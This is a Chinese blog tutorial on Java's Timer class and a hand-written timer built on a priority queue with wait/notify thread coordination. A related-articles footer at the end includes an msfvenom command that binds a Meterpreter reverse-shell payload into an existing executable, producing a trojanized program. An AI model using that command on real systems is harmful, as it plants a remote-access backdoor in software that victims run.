【JavaEE初阶】多线程案列之定时器的使用和内部原码模拟

news2024/11/28 23:47:38

前言:

🌈上期博客:【JavaEE初阶】深入理解多线程阻塞队列的原理,如何实现生产者-消费者模型,以及服务器崩掉原因!!!-CSDN博客

🔥感兴趣的小伙伴看一看小编主页:GGBondlctrl-CSDN博客

⭐️小编会在后端开发的学习中不断更新~~~  

🥳非常感谢你的支持

 

目录

📚️ 1.内容简介

📚️2.定时器的使用

2.1使用场景

2.2标准库的方法

2.3实现运行

📚️3.定时器的模拟(重点)

3.1使用的数据结构

3.2任务类

1.属性

2.实现runnable类中的run方法

3.构造方法,在时间扫描中传递参数

4.实现时间比较器

3.3时间扫描类

 1.属性

2.实现任务存储

3.构造方法,实现线程自动启动

3.4主函数

3.5线程安全问题

3.6实现线程阻塞和唤醒

1.优先级队列为空

2.时间未到

3.7run方法如何执行任务

📚️4.总结

​ 

📚️ 1.内容简介

🌈Hello!!!uu们,本期小编主要是讲解Java标准库中的一个重要的东西即定时器;

1.定时器在Java标准库中使用方法调用;

2.如何自己在idea上直接手搓实现一个定时器的功能模拟;

📚️2.定时器的使用

2.1使用场景

定时器就是日常生活中常用的组件~~类似于闹钟一样,即设定一个时间,当时间一到那么就会自动执行所规定的任务;

例如:咱们博客上的定时发布文章一样;

即在我们发布博客的时候,存在一个定时发布的选项,这就是定时器在我们之间存在的地方,当然还有我们日常生活中的智能家居,定时完成某个任务~~~,小编就不再过多举例了;

2.2标准库的方法

在Java标准库中,提供了定时器的方法,这里我们就要实施化定时器的对象;

代码如下:

Timer timer=new Timer();

然后调用schedule方法,重写run方法,规定我们要执行的任务,以及执行任务的时间;

代码如下:

 timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.out.println("此时时间为3秒后");
            }
        },3000);

注意:这里的3000单位是ms级别的,表示3秒,即3秒后再次执行这个任务;

2.3实现运行

这里小编设置了两个任务,以及两个任务执行的时间,看看最后的运行结果;

代码如下:

public class testDemo23 {
    public static void main(String[] args) throws InterruptedException {
        Timer timer=new Timer();
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.out.println("此时时间为3秒后");
            }
        },3000);
        timer.schedule(new TimerTask() {
            @Override
            public void run() {
                System.out.println("此时时间为2秒后");
            }
        },2000);

此时运行后的演示结果如下图所示:

 此时我们可以看到任务的执行依据后面的时间来进行的;

注意:此时进行没有结束,说明这个Timer是一个前台线程(小编上期有讲),这里就是timer不知道是否还有其他的任务,时刻准备着~~~

当然我们是可以一手动来将这个线程结束掉;

代码如下:

Thread.sleep(3000);
timer.cancel();

注意:这里的休眠是为了保证任务能够执行完,cancel是为了将这个线程转化为后台线程,main函数执行完后,这个线程也跟着结束;

📚️3.定时器的模拟(重点)

3.1使用的数据结构

我们要明白这个定时器的模拟过程:

1.实现一个线程,负责进行扫描任务,并且还要进行“掐”时间这个过程,当时间一到就运行

2.实现一个数据结构,存储schedule进来的方法

这里线程就要进行这个数据结构的扫描,若时间到了就执行,但是这里的时间复杂度为log(N)所以这里我们就要使用优先级队列了;

原因:我们可以设置一个比较方法来比较时间,由于先执行的一定是时间最少的,那么时间少的就为队首元素,这里我们就可以直接取队顶元素,这时候我们的时间复杂度为log(1);

3.2任务类

1.属性

代码如下:

class MyTimerTask  {
    // 在什么时间点来执行这个任务.
    // 此处约定这个 time 是一个 ms 级别的时间戳.
    private long time;
    // 实际任务要执行的代码.
    private Runnable runnable;

注意:这里我们是持有一个runnable类,也可以实现继承,这里的time是一个毫秒级别的时间戳

2.实现runnable类中的run方法

如下代码:

public void run() {
        runnable.run();
    }

注意:这里使用run方法,就是为了在主函数上执行对应的任务;

3.构造方法,在时间扫描中传递参数

代码如下:

public MyTimerTask(Runnable runnable, long delay) {
        this.runnable = runnable;
        // 计算一下真正要执行任务的绝对时间. (使用绝对时间, 方便判定任务是否到达时间的)
        this.time = System.currentTimeMillis() + delay;
    }

注意:这里的delay是一个相对的时间,而在后面比较是绝对的时间

4.实现时间比较器

代码如下:

public int compareTo(MyTimerTask o) {
        return (int) (this.time - o.time);       
    }

注意:由于利用的是优先级队列,所以这里要规定一个比较的条件,注意还要实现comparable接口

3.3时间扫描类

 1.属性

代码入下:

class MyTimer {
    // 负责扫描任务队列, 执行任务的线程.
    private Thread t = null;
    // 任务队列
    private PriorityQueue<MyTimerTask> queue = new PriorityQueue<>();
    // 搞个锁对象, 此处使用 this 也可以.
    private Object locker = new Object();

注意:这里的线程是为了保证以下线程启动,即当使用这个类时,线程就要启动,这里还有一个优先级队列的声明,和防止线程安全问题设置的一个锁对象

2.实现任务存储

代码如下:

public void schedule(Runnable runnable, long delay) {
        MyTimerTask task = new MyTimerTask(runnable, delay);
        queue.offer(task);           
        
    }

注意:这里就是将执行的任务传给mytimertask然后保存到优先级队列中

3.构造方法,实现线程自动启动

代码如下:

// 构造方法. 创建扫描线程, 让扫描线程来完成判定和执行.
    public MyTimer() {
        t = new Thread(() -> {            
            while (true) {                                   
                        while (queue.isEmpty()) {
                            // 暂时先不处理                           
                        }
                        MyTimerTask task = queue.peek();
                        // 获取到当前时间
                        long curTime = System.currentTimeMillis();
                        if (curTime >= task.getTime()) {
                            // 当前时间已经达到了任务时间, 就可以执行任务了.
                            queue.poll();
                            task.run();
                        } else {
                            // 当前时间还没到, 暂时先不执行                                                                                
                        }                    
                }             
        });       
       t.start();
    }

注意:这里线程要不断进行扫描队列,如果时间到了就执行,没有到就先不做处理,任务执行了就删除,这里要进行时间的比较,若此时时间大于或等于了规定时间,那么就执行

3.4主函数

实现规定任务,时间,代码如下:

public static void main(String[] args) {
        MyTimer timer = new MyTimer();
        timer.schedule(new Runnable() {
            @Override
            public void run() {
                System.out.println("hello 3000");
            }
        }, 3000);
    }

这里的任务就是run方法里的打印,以及3000所规定的时间要求;

3.5线程安全问题

这里由于是两个线程,一个扫描,一个添加任务线程,那么此时我们可以发现,在线程执行的过程中存在读和写的操作,此时就要进行加锁;

while (true) {             
        synchronized (locker) {
                while (queue.isEmpty()) {
                     // 暂时先不处理
                     
                }

注意:这里就要进行加锁打包,小编后面就省略了,当然这里任务添加方法也是需要进行加锁操作的;

3.6实现线程阻塞和唤醒

1.优先级队列为空

问题:我们可以发现当队列为空的时候,现场因该进入阻塞的状态,否则直接执行以下代码释放锁之后,会直接导致释放锁又拿到锁,导致线程饿死 

所以这里在队列为空的时候我们需要进行线程阻塞,然后再适合的时间进行唤醒:

代码如下:

while (queue.isEmpty()) {
           // 暂时先不处理
           locker.wait();
}

此时唤醒就应该在添加任务之后,所以我们要在添加任务时进行线程的唤醒

代码如下:

 public void schedule(Runnable runnable, long delay) {
        synchronized (locker) {
            MyTimerTask task = new MyTimerTask(runnable, delay);
            queue.offer(task);
            // 添加新的元素之后, 就可以唤醒扫描线程的 wait 了.
            locker.notify();
        }
    }

 那么此时添加任务后,线程唤醒,就可以进行执行了;

2.时间未到

问题:当时间没有到的时候我们应该进行等待,并且这里的等待是有时间要求的,即超时等待;

代码如下:

if (curTime >= task.getTime()) {
       // 当前时间已经达到了任务时间, 就可以执行任务了.
       queue.poll();
       task.run();
 } else {                            
       locker.wait(task.getTime() - curTime);
 }

注意:进行等待的时间就是这个任务所执行的时间要求,若在此过程中添加了其他更早执行的任务,那么这里的任务添加类就能够进行唤醒的操作;

这里不能使用sleep,因为当来新的任务后,线程不能唤醒解锁,导致错过新的任务,如果是continue的话就会循环执行任务那么此时就叫“忙等”

3.7run方法如何执行任务

 小编先将代码执行顺序归为一整个,给小伙伴们讲解一下:

timer.schedule(new Runnable() {
            @Override
            public void run() {
                System.out.println("这是一个3秒后的任务");
            }
        }, 3000);


public void schedule(Runnable runnable, long delay) {     
            MytimerTask task = new MytimerTask(runnable, delay);          
        }


public MytimerTask(Runnable runnable, long delay) {
        this.runnable = runnable;     
    }


public void run() {
        runnable.run();
    }


 task.run();

1.首先我们在主函数规定runnable对象重写run方法的执行任务后,传给schedule

2.在mytimer类中的schedule方法接收参数后给mytimertask类的参数

3.在mytimertask类中接收到传递的参数后,在调用run方法,此时的run方法就是在主函数实现的重写任务方法

4.所以我们只需要在线程执行中通过mytimertask的对象,调用这个方法就好了;

如下图所示:

 

📚️4.总结

💬💬小编本期主要讲解了关于定时器在Java标准库中的使用方法,以及自主实现了关于定时器的代码模拟,当然这部分是有一定的难度的,这里涉及到“优先级队列,函数的调用,runnable类的使用,以及比较器的设定,线程安全问题,和唤醒阻塞”相关的知识体系,需要各位uu学习了解;

🌅🌅🌅~~~~最后希望与诸君共勉,共同进步!!!


💪💪💪以上就是本期内容了, 感兴趣的话,就关注小编吧。

                             😊😊  期待你的关注~~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192142.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

房地产销售|基于springBoot的房地产销售管理系统设计与实现(附项目源码+论文+数据库)

私信或留言即免费送开题报告和任务书&#xff08;可指定任意题目&#xff09; 目录 一、摘要 二、相关技术 三、系统设计 四、数据库设计 五、核心代码 六、论文参考 七、源码获取 一、摘要 社会和科技的不断进步带来更便利的生活&#xff0c;计算机技术也越来…

fiddler抓包18-2_导出jmeter、postman脚本(带请求头)

课程大纲 1. Fiddler导出请求为curl脚本 选中请求&#xff0c;“文件” - “导出会话” - “选中的会话” - “cURL Script”。 2. 导入jmeter ① 复制curl脚本。 ② 打开jmeter&#xff0c;“工具” - “import from cURL”&#xff0c;粘贴脚本&#xff0c;勾选“Add cooki…

二分查找一>寻找峰值

1.题目&#xff1a; 2.解析&#xff1a; 暴力遍历代码&#xff1a;O(N),由于该题数据很少所以可以通过 暴力遍历&#xff1a;O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增&#xff0c;更新就indexif(nums[i]…

codetop标签树刷题(三)!!暴打面试官!!!!

用于个人复习 1.子结构判断2.寻找重复的子树3.相同的树4.平衡二叉树5.二叉树展开为链表6.将二叉搜索树转化为排序的双向链表7.验证二叉搜索树8.二叉树的完全性检验9.完成二叉树的节点个数10.删除二叉搜索树中的节点11.寻找二叉树中的目标节点 1.子结构判断 给定两棵二叉树 tre…

Libtorch学习之Libtorch-VS2019-图像分割程序

文章目录 环境说明Pytorch 序列化Libtorch 下载VS配置主程序可能遇到的问题参考 环境说明 win10 VS2019 OPENCV4.7.0 Litorch1.13 Pytorch 1.12.1 Pytorch 序列化 import torch from torchvision.models import resnet50 net resnet50(pretrainedTrue) net net.cuda() net…

提升开机速度:有效管理Windows电脑自启动项,打开、关闭自启动项教程分享

日常使用Windows电脑时&#xff0c;总会需要下载各种各样的办公软件。部分软件会默认开机自启功能&#xff0c;开机启动项是指那些在电脑启动时自动运行的程序和服务。电脑开机自启太多的情况下会导致电脑卡顿&#xff0c;开机慢&#xff0c;运行不流畅的情况出现&#xff0c;而…

如何从计算机的硬盘中恢复照片 - 成功

如何从计算机硬盘恢复图片&#xff1f; 与所有电子和机械设备一样&#xff0c;硬盘驱动器也可能由于任何原因而死机。如果您的系统硬盘驱动器已停止工作或在启动系统时听到振动声&#xff0c;则它有可能已死机。如果是这样的话&#xff0c;上面的数据呢&#xff1f; 不要惊慌…

十二、血条UI

一、制作血条UI 注&#xff1a;一般不用Slider制作血条&#xff1b;而是用两个Image制作&#xff0c;选择为填充 使用Slider滑动条制作UI 人物血条&#xff1a;背景深绿色&#xff1b;滑条浅绿色 在场景中的画布选择为OverLay 敌人血条&#xff1a; 在预制体里面制作&#x…

自动驾驶系列—自动驾驶背后的数据通道:通信总线技术详解与应用场景分析

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

最具有世界影响力的人颜廷利:全球著名哲学家思想家起名大师

颜廷利教授&#xff0c;这位源自济南唐王镇的杰出人物&#xff0c;不仅是中国当代最杰出的国学大师之一&#xff0c;更是将传统文化与现代科技巧妙结合的先锋。他积极推崇以人工智能技术为辅助的国学研究方法&#xff0c;为这一古老领域注入了新的活力和时代表达。 除了在学术…

【LeetCode】每日一题 2024_10_6 加油站(贪心)

前言 每天和你一起刷 LeetCode 每日一题~ 大家国庆节快乐呀~ LeetCode 启动&#xff01; 国庆第 6 天&#xff0c;在加油站 . . . 题目&#xff1a;加油站 代码与解题思路 今天这道题目是力扣上的经典贪心&#xff08;第 134 题&#xff09; func canCompleteCircuit(gas…

springboot中配置优先级

先来看在idea当中运行程序时&#xff0c;如何来指定Java系统属性和命令行参数。 系统属性 1、右键启动类&#xff0c;点击Edit Configuration 点击Modify options 选择Add VM options&#xff0c;就是系统属性 选择Program arguements&#xff0c;就是命令行参数 总结&#…

排查和解决JVM OOM实战

JVM OOM介绍 Java内存区域布局 下面的分析中都是基于JDK 8开始的。关于JMM不过多介绍每个区域的作用。OOM不单只会发生在堆内存&#xff0c;也可能是因为元空间或直接内存泄漏导致OOM&#xff0c;此时在OOM的详细信息中会有不同体现。 Java OOM的类别 java.lang.OutOfMemory…

CSS 布局——清除浮动 (二)

目录 1. 清除浮动 2. 清除浮动本质 3. 清除浮动 4. 清除浮动方法 4.1 额外标签法 4.1.1 总结 4.2 父级添加 overflow 4.3 after 伪元素法 4.4 双伪元素清除浮动 5 总结 1. 清除浮动 这是上面的源代码&#xff1a; <!DOCTYPE html> <html lang"en"&…

飞书消息转发

飞书是字节跳动开发的一个款即时通讯软件 不同与微信和钉钉&#xff0c;飞书是基于Electron的跨平台桌面客户端&#xff08;主要开发语言是JavaScript&#xff09;&#xff0c;程序运行在chrom内核中&#xff0c;所以HOOK方案不好使 针对Electron 框架&#xff0c;打包后的应用…

京东e卡滑块 分析

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 有相关问题请第一时间头像私信联系我删…

AI2.0时代,普通小白如何通过AI月入30万

最近这2年AI真的太火了&#xff0c;很多人都在讨论怎么用AI赚钱、提高效率。其实&#xff0c;我觉得AI并没有那么复杂&#xff0c;尤其是如果你不做AI底层研究&#xff0c;只是利用它来帮你省事、提效、赚钱&#xff0c;那就像当初学用电脑、用手机一样简单。你不需要懂AI的技术…

《数据结构》--栈【概念应用、图文并茂】

本节讲完栈下次再讲一下队列&#xff0c;最后补充一个串&#xff0c;我们的线性结构基本就完事了。下图中黄色框框圈中的是我们今日份内容(分为两篇博客)&#xff1a; 知识体系图 栈(Stack-LIFO)结构 栈的基础概念 栈(Stack)是一个后进先出(Last-In-First-Out)的一个特殊数据…

【Linux的那些事】shell命名及Linux权限的理解

目录 一、shell命令以及运行原理 二、Linux权限的概念 三、Linux权限管理 3.1.文件访问者的分类&#xff08;人&#xff09; 3.2.文件类型和访问权限&#xff08;事物属性&#xff09; 3.3.文件权限值的表示方法 3.4.文件访问权限的相关设置方法 a)chmod b)chown c)…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe